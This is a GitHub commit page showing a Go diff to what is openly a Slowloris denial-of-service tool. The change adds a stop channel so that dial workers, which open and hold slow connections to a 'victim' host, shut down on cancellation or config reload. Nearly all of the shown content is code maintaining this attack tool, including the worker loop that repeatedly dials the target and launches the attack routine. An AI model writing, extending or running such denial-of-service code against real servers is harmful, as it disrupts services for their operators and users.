Skip to content

Commit

Permalink
Slowloris - handle config reload (arriven#173)
Browse files Browse the repository at this point in the history
  • Loading branch information
AndriiChuzhynov authored Mar 6, 2022
1 parent be96c2a commit 3ad69c1
Show file tree
Hide file tree
Showing 2 changed files with 14 additions and 10 deletions.
4 changes: 2 additions & 2 deletions src/jobs/slowloris.go
Original file line number Diff line number Diff line change
Expand Up @@ -46,12 +46,12 @@ func slowLorisJob(ctx context.Context, args Args, debug bool) error {
shouldStop := make(chan bool)
go func() {
<-ctx.Done()
shouldStop <- true
close(shouldStop)
}()

if debug {
log.Printf("sending slow loris with params: %v", jobConfig)
}

return slowloris.Start(jobConfig)
return slowloris.Start(shouldStop, jobConfig)
}
20 changes: 12 additions & 8 deletions src/slowloris/slowloris.go
Original file line number Diff line number Diff line change
Expand Up @@ -30,7 +30,7 @@ var (
sharedWriteBuf = []byte("A")
)

func Start(config *Config) error {
func Start(stopChan chan bool, config *Config) error {
s := &SlowLoris{
Config: config,
}
Expand Down Expand Up @@ -60,22 +60,26 @@ func Start(config *Config) error {
activeConnectionsCh := make(chan int, config.DialWorkersCount)
go s.activeConnectionsCounter(activeConnectionsCh)
for i := 0; i < config.DialWorkersCount; i++ {
go s.dialWorker(config, activeConnectionsCh, targetHostPort, targetURL, requestHeader)
go s.dialWorker(stopChan, config, activeConnectionsCh, targetHostPort, targetURL, requestHeader)
time.Sleep(dialWorkersLaunchInterval)
}
time.Sleep(config.DurationSeconds)

return nil
}

func (s SlowLoris) dialWorker(config *Config, activeConnectionsCh chan<- int, targetHostPort string, targetUri *url.URL, requestHeader []byte) {
func (s SlowLoris) dialWorker(stopChan chan bool, config *Config, activeConnectionsCh chan<- int, targetHostPort string, targetUri *url.URL, requestHeader []byte) {
isTls := targetUri.Scheme == "https"

for {
time.Sleep(config.RampUpInterval)
conn := s.dialVictim(targetHostPort, isTls)
if conn != nil {
go s.doLoris(config, conn, activeConnectionsCh, requestHeader)
select {
case <-stopChan:
return
default:
time.Sleep(config.RampUpInterval)
conn := s.dialVictim(targetHostPort, isTls)
if conn != nil {
go s.doLoris(config, conn, activeConnectionsCh, requestHeader)
}
}
}
}
Expand Down

0 comments on commit 3ad69c1

Please sign in to comment.